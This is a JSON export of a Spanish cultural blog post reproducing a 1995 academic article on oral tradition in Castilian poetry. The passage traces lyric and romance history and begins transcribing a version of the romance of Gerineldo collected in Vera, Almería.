{"id":805,"date":"2016-01-03T18:04:03","date_gmt":"2016-01-03T18:04:03","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=805"},"modified":"2019-03-05T13:47:59","modified_gmt":"2019-03-05T13:47:59","slug":"tradicion-oral-y-pervivencia-poetica-interferencias-discursivas-internas-en-dos-romances-colectados-en-vera-almeria-hoy","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2016\/01\/03\/tradicion-oral-y-pervivencia-poetica-interferencias-discursivas-internas-en-dos-romances-colectados-en-vera-almeria-hoy\/","title":{"rendered":"TRADICI\u00d3N ORAL Y PERVIVENCIA PO\u00c9TICA. INTERFERENCIAS DISCURSIVAS INTERNAS EN DOS ROMANCES COLECTADOS EN VERA (ALMER\u00cdA), HOY"},"content":{"rendered":"<p>En el a\u00f1o 1990, en Vera, Pepa Soler y el romance de Gerineldo, rescatado de su memoria, motivaban a los autores de este art\u00edculo a escribir sobre tradici\u00f3n oral.<\/p>\n<p><!--more--><\/p>\n<p style=\"text-align: right\" align=\"left\">&nbsp;<span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: xx-small\">Jos\u00e9 GUERRERO VILLALBA <\/span><\/span><\/span><\/span><\/p>\n<p style=\"text-align: right\" align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jos\u00e9-guerrero-villalba.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-808\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jos\u00e9-guerrero-villalba.jpg\" alt=\"jos\u00e9 guerrero villalba\" width=\"183\" height=\"275\"><\/a><\/p>\n<p style=\"text-align: right\" align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: xx-small\">Jos\u00e9 Miguel SERRANO DE LA TORRE<\/span><\/span><\/span><\/span><\/p>\n<p style=\"text-align: right\" align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: xx-small\"><i>Dem\u00f3filo<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: xx-small\">, Revista de cultura tradicional de Andaluc\u00eda, n\u00fam. 15 (1995) <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Adentrarse en los predios de la transmisi\u00f3n oral de la poes\u00eda castellana implica la consideraci\u00f3n de diversos problemas que desde un punto de vista filol\u00f3gico no resultan f\u00e1ciles de alumbrar. La raz\u00f3n principal que abunda en esta aseveraci\u00f3n reside en la imposibilidad de contar con testimonios antes de su impresi\u00f3n. Aserto este que no obedece m\u00e1s que al principio metodol\u00f3gico de que \u00abimporta atender m\u00e1s que al matiz ambientador o al perfil descriptivo a la \u00abesencia\u00bb de una tradicionalidad\u00bb (1). En otras palabras, la explicaci\u00f3n de un documento po\u00e9tico oral en la actualidad pasa por investigar sus ra\u00edces primitivas. Una dificultad a\u00f1adida, origen de problem\u00e1ticas insolubles, consiste en no saber \u00abd\u00f3nde est\u00e1 la frontera entre lo folkl\u00f3rico y lo literario, ni d\u00f3nde acaba la tradici\u00f3n y comienza la creaci\u00f3n personal del poeta\u00bb (2). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Una precisi\u00f3n se impone en este punto. La tradici\u00f3n ha transcurrido en una doble vertiente; por un lado, la que es mantenida oralmente por y en la colectividad (3), por otro, la que se desarrolla en virtud de un bagaje libresco, m\u00e1s all\u00e1 de la g\u00e9nesis ling\u00fc\u00edstica hisp\u00e1nica, la tradici\u00f3n culta (4). Esta ambivalencia no implica un aislamien<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">o absoluto de las partes; como se ir\u00e1 viendo, la v\u00eda culta ha recurrido frecuentemente, a veces con finalidades muy concretas, a la popular, y en buena medida, de ello ha dependido la supervivencia de \u00e9sta (5). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Las poes\u00eda castellana de car\u00e1cter oral tiene su origen remoto en la Edad Media. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/trovad05.jpg\"><img decoding=\"async\" class=\"alignnone size-medium wp-image-812\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/trovad05-236x300.jpg\" alt=\"trovad05\" width=\"236\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/trovad05-236x300.jpg 236w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/trovad05.jpg 315w\" sizes=\"(max-width: 236px) 100vw, 236px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Aqu\u00ed se impone la discriminaci\u00f3n de dos tipos: la llamada l\u00edrica tradicional antigua y los poes\u00eda romanc\u00edstica. Aqu\u00e9lla es la hom\u00f3loga a las jarchas (siglo VIII) y a las cantigas galaico-portuguesas (siglo XIII) (6) como manifestaci\u00f3n po\u00e9tica primeriza de una comunidad, de las que s\u00ed nos han llegado testimonios directos (7). En el estilo <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00ednfimo. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(8), seg\u00fan la distinci\u00f3n que hace el marqu\u00e9s de Santillana en su <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Prohemio e carta al condestable de Portugal <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(entre 1445 y 1449), encuentra M. Frenk el primer reconocimiento expl\u00edcito, aunque muy leve, de esta poes\u00eda (9). Ser\u00e1 en la corte napolitana de Alfonso V de Arag\u00f3n (1443-1458) donde la poes\u00eda popular hisp\u00e1nica alcance un notable aprecio. Casi continuidad de esta corte es la navarro-aragonesa de Juan II, en la que la compilaci\u00f3n del <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Cancionero de Herberay des Essarts, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de hacia 1463, da fe de esta l\u00edrica primitiva. Sin embargo, \u00abla valoraci\u00f3n sistem\u00e1tica de la canci\u00f3n popular se inicia unas d\u00e9cadas m\u00e1s tarde, hacia fines del siglo XV, en la corte castellano-aragonesa de los Reyes Cat\u00f3licos y en el palacio de los Duques de Alba\u00bb <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(1<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">0). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/000777284.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-813\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/000777284.jpg\" alt=\"000777284\" width=\"101\" height=\"138\"><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Ya en el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Cancionero musical de Palacio, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de finales del siglo XV y principios del XVI, cobra carta de naturaleza. Pero esta recolecci\u00f3n de cantares populares por los poetas cultos del cancionero no es efectuada de cualquier forma; como explica M. Frenk, \u00abel adoptar la l\u00edrica popular como material po\u00e9tico fue un acto de libertad y un reconocimiento de que la poes\u00eda pod\u00eda ser algo muy distinto de lo que entonces se ten\u00eda por tal. En cierto sentido, esa corriente signific\u00f3 una revoluci\u00f3n comparable a la que provoc\u00f3 el petrarquismo en Espa\u00f1a, y no es un azar que ambas ocurrieran al mismo tiempo (11) [ &#8230; ] el popularismo, en realidad, no fue sino la infiltraci\u00f3n de elementos nuevos dentro del marco mismo de la poes\u00eda cortesana, que en otros aspectos segu\u00eda siendo lo que era\u00bb (12). Esta adaptaci\u00f3n pod\u00eda realizarse conforme a una modalizaci\u00f3n triple: \u00abla utilizaci\u00f3n directa y textual de los antiguos cantares como material po\u00e9tico; la imitaci\u00f3n de esos cantares y una infiltraci\u00f3n m\u00e1s vaga y general de su estilo\u00bb (13). Cancioneros y manuscritos, pliegos sueltos, tratados musicales, citas literarias, no s\u00f3lo recogen esta poes\u00eda, sino que recuerdan su m\u00fasica, porque al igual que los romances, y, en general, toda l\u00edrica de car\u00e1cter popular, era cantada (14). Es m\u00e1s, a los poetas y m\u00fasicos de la corte de los Reyes Cat\u00f3licos y a su p\u00fablico les gustaba m\u00e1s la m\u00fasica, la melod\u00eda de la canci\u00f3n popular, que su texto; ese ingrediente evocador no les inte<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">esaba como discurso (15). Ya a finales del siglo XVI, las adaptaciones de la l\u00edrica popular se hacen m\u00e1s espor\u00e1dicamente y dentro de cierto convencionalismo. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Esta poes\u00eda que pertenece \u00abal pueblo iletrado; probablemente m\u00e1s al del campo que al de las ciudades\u00bb (16), conocer\u00e1 un nuevo auge en el per\u00edodo 1580-1650, cuando la literatura \u00abse dirige conscientemente a las clases sociales antes ignoradas, sobre todo al vulgo urbano, de creciente vitalidad\u00bb (17); as\u00ed resulta evidente en el teatro. Se trata ahora de \u00abuna poes\u00eda que combina lo conocido con lo desconocido, los moldes viejos -el romance, la seguidilla, el villancico- con temas in\u00e9ditos, las formas familiares con un esp\u00edritu original. Tiene as\u00ed para el gran p\u00fablico el doble atractivo de lo tradicional y lo moderno\u00bb (18). Por lo tanto, la canci\u00f3n l\u00edrica popular sobrevive en cantares \u00absemi<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">opulares\u00bb: las cabezas de letras y letrillas, los estribillos de muchos romances y las seguidillas \u00abmodernas\u00bb\u00bb (19). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/amorcortes-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-814\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/amorcortes-2-232x300.jpg\" alt=\"amorcortes-2\" width=\"232\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/amorcortes-2-232x300.jpg 232w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/amorcortes-2.jpg 370w\" sizes=\"(max-width: 232px) 100vw, 232px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El romance, por otro lado, surge \u00aben el siglo XV, cuando ya los mismos temas y episodios de los cantares de gesta se repet\u00edan fragmentariamente en breves canciones \u00e9pico-l\u00edricas\u00bb (20). El proceso de transformaci\u00f3n desde las gestas cubre una secuencia triple: \u00abel nacimiento como poes\u00eda noticiera, la reelaboraci\u00f3n en variantes y la adici\u00f3n de temas secundarios, motivos descriptivos o novelizaci\u00f3n\u00bb (21). Los romances se conservan en pliegos sueltos, -soporte que data de mediados del siglo XVI-, en roman<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">c<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">eros y cancioneros -el m\u00e1s antiguo donde aparecen romances es en el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Cancionero general <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(1511) de Hernando del Castillo-, en libros de m\u00fasica <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>-Cancionero musical de Palacio, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de finales del siglo XV -, y en manuscritos privados -entre los que cabe destacar el Cartapacio de Jaume d&#8217;Olesa (1421) del <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Cancionero del British Museum, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de principios del XVI, pues permite la fechaci\u00f3n del romance m\u00e1s antiguo impreso-22). Como es sabido, el romance, aparte de este surgimiento y desarrollo, conoce una forma nueva de esplendor, la que se refleja en el llamado romancero nuevo o art\u00edstico. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/am4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-815\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/am4-295x300.jpg\" alt=\"am4\" width=\"295\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/am4-295x300.jpg 295w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/am4.jpg 420w\" sizes=\"(max-width: 295px) 100vw, 295px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La transici\u00f3n editorial de uno a otro la marca la progresiva inclusi\u00f3n de romances al nuevo estilo en cada florilegio impreso. Aparecen por primera vez estos textos, imbui<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">d<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">os de un fuerte influjo cultista y ya sin m\u00fasica (23), en los <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romances nuevamente sacados de historias antiguas de la Cr\u00f3nica de Espa\u00f1a, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">compilados por Lorenzo de Sep\u00falveda (Amberes, 1551); y van aumentado en la <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Silva de varios romances, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">reco<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ilada por Juan de Menda\u00f1o (Granada, 1588); el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero historiado, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de Lucas Rodr\u00edguez (AIcal\u00e1 de Henares, 1582; Lisboa, 1584; AIcal\u00e1, 1585; Huesca, 1586); las <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Rosas de Romances, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de Timoneda (Valencia, 1573); con la <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Flor de Varios Romances Nuevos <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>y <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Canciones, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">reunidos por Pedro de Moncayo (Huesca, 1589), el \u00abromance nuevo\u00bb da el primer paso en su consolidaci\u00f3n, la cual es ya un hecho en el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero general <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de 1600 y las dos ediciones posteriores de 1604 y 1605. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">As\u00ed pues, las consecuencias que se derivan de este nuevo romance con respecto al tradicional es que el gran auge de este \u00faltimo, \u00abtanto hist\u00f3rico como novelesco, termina, en lo que se refiere a publicaci\u00f3n, difusi\u00f3n y fluidez r\u00edtmica, hacia 1580\u00bb (24). Y la \u00abllamada \u00abgeneraci\u00f3n de 1580\u00bb, nacida a partir de esta d\u00e9cada o en las preceden<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">es (Lope en 1562, G\u00f3ngora en 1561, Quevedo en 1580) cambiar\u00e1 los rumbos de la l\u00edrica espa\u00f1ola de su tiempo, bien desacreditando (humorismo, burla, parodia, s\u00e1tira) las modalidades vigentes, o intensificando los elementos previos\u00bb (25). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Por \u00faltimo, aunando perspectivas, M. Frenk resume magistralmente la situaci\u00f3n de la poes\u00eda popular a mediados del siglo XVII: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00ab[ &#8230; ] al folklorizarse esta escuela po\u00e9tica de origen semi-popular, junto con aquel otro tipo de poes\u00eda, ya mencionado, que deriva de la l\u00edrica \u00abde cancione<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">o\u00bb, fue desapareciendo de la tradici\u00f3n oral la antigua escuela popular, de la cual ya s\u00f3lo sobreviven hoy unas cuantas reliquias. Curioso contraste con lo ocurrido en el caso del Romancero: los romances nuevos de la \u00e9poca de Lope no arraigaron en la tradici\u00f3n oral, salvo contadas excepciones. El pueblo sigui\u00f3 cantando los viejos romances tradicionales, tal como se conoc\u00edan antes de 1600, y algunos otros, posteriores, que se ajustaban b\u00e1sicamente a la t\u00e9cnica del ro<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">m<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ance medieval. La vitalidad de ese viej\u00edsimo g\u00e9nero es impresionante y conmovedora. Las cancioncitas l\u00edricas no tuvieron la misma suerte: sucumbie<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">on a una muerte casi brusca, causada en gran parte por el din\u00e1mico e invasor movimiento de renovaci\u00f3n po\u00e9tica que se inici\u00f3 hacia 1580\u00bb (26). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-816\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas3-232x300.jpg\" alt=\"jarchas3\" width=\"232\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas3-232x300.jpg 232w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas3.jpg 390w\" sizes=\"(max-width: 232px) 100vw, 232px\" \/><\/a> <a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-817\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas2-265x300.jpg\" alt=\"jarchas2\" width=\"265\" height=\"300\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas2-265x300.jpg 265w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/jarchas2.jpg 390w\" sizes=\"(max-width: 265px) 100vw, 265px\" \/><\/a><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Expuestas a grosso modo las l\u00edneas de desarrollo de los dos tipos de poes\u00eda popular castellana, nos interesa especialmente hacer hincapi\u00e9 en varios momentos. Primero, la l\u00edrica tradicional es m\u00e1s antigua que el romance; segundo, la revalorizaci\u00f3n primera de los cantares populares (1450-1580) coincide con el auge del romancero (extensible tanto en lo que respecta a su estampaci\u00f3n como a su difusi\u00f3n oral); tercero, decaimiento de ambas formas a finales del siglo XVI; y cuarto, nuevo impulso (hacia 1580 en ambos casos), ahora de car\u00e1cter cultista, en detrimento del componente popu<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">l<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ar. El viejo romance del siglo XV, por su parte, contin\u00faa su trayectoria hasta hoy. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El objetivo de toda esta explicaci\u00f3n es comprobar la influencia que la l\u00edrica adicional ha ejercido en la g\u00e9nesis del romance, sobre todo en lo relacionado con la adquisici\u00f3n de matices l\u00edricos y ficcionales. Ya se vio m\u00e1s arriba c\u00f3mo Men\u00e9ndez Pidal pensaba en la fragmentaci\u00f3n de las gestas para resolverse en piezas \u00e9pico-l\u00edricas, esto es, la base \u00e9pica cede ante la popularizaci\u00f3n del texto, adquiriendo matices l\u00edricos. Ello implica la existencia previa de tal sustrato (27). \u00bfAcaso consistir\u00eda este sustrato en la canci\u00f3n tradicional? \u00bfO es que el pueblo, enseguida que acoge una composici\u00f3n del tipo que sea, la convierte en l\u00edrica? Lo mismo que se verifica una influencia en la poes\u00eda cortesana y m\u00e1s tarde en en la cultista de finales del siglo XVI y durante el XVII, tal influencia es muy probable encontrada en el romance, aunque sea \u00e9ste tambi\u00e9n de corte popular, y m\u00e1s si, aceptando la teor\u00eda pidaliana, act\u00faa durante su proceso de formaci\u00f3n (28). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Cuando Men\u00e9ndez Pidal considera geogr\u00e1ficamente la expansi\u00f3n del romance<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">r<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">o peninsular distingue dos grandes zonas: \u00abuna al SE., muy uniforme, y con tipo \u00fanico, y otra NO., fragmentada y rica en variaciones\u00bb (29). P. M. Pi\u00f1ero y V. Atero en su <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero andaluz de tradici\u00f3n oral <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">especifican que esta \u00faltima zona \u00abtiene su foco central en Andaluc\u00eda (30), de donde irradian las peculiaridades y novedades a otras regiones m\u00e1s alejadas. El romancero andaluz es el m\u00e1s innovador y sus versiones son las m\u00e1s modernas y de mayor fuerza expansiva por toda la pen\u00ednsula\u00bb (31). Y de particular inter\u00e9s son sus afirmaciones acerca de que \u00abAndaluc\u00eda, salvo escasas excep<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">c<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">iones, no ha conservado restos de temas hist\u00f3ricos ni \u00e9picos antiguos. Las excepcio<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">n<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">es, que sepamos, se encuentran en el peque\u00f1o n\u00facleo de gaditanos que curiosamente mantienen en su amplio repertorio flamenco algunas versiones del romancero \u00e9pico\u00bb (32). <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/eginardo.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-819\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/eginardo.jpg\" alt=\"eginardo\" width=\"291\" height=\"300\"><\/a><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><b><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El texto que a continuaci\u00f3n vamos a explicar es el romance de Gerineldo, <\/span><\/span><\/b><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><b><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">recogido en 1990 en la localidad de Vera, Almer\u00eda, de la informante Pepa Soler. <\/span><\/span><\/b><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">&#8211; No se crea, se\u00f1orita, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">que porque soy su criado <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">se puede re\u00edr de m\u00ed <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">sin piedad y sin cuidado. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-No me burlo, Gerineldo, que de veras te lo digo; <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">entre las doce y la una est\u00e1 mi pap\u00e1 dormido. Entre las doce y la una <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a la cita ha acudido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">-Abre la puerta, condesa, que vengo a lo prometido. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Sin que ellos se dieran cuenta, el padre que los ha visto, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ha puesto la espada en medio pa&#8217; que sirva de testigo. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"> Al ruido de la espada, <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span 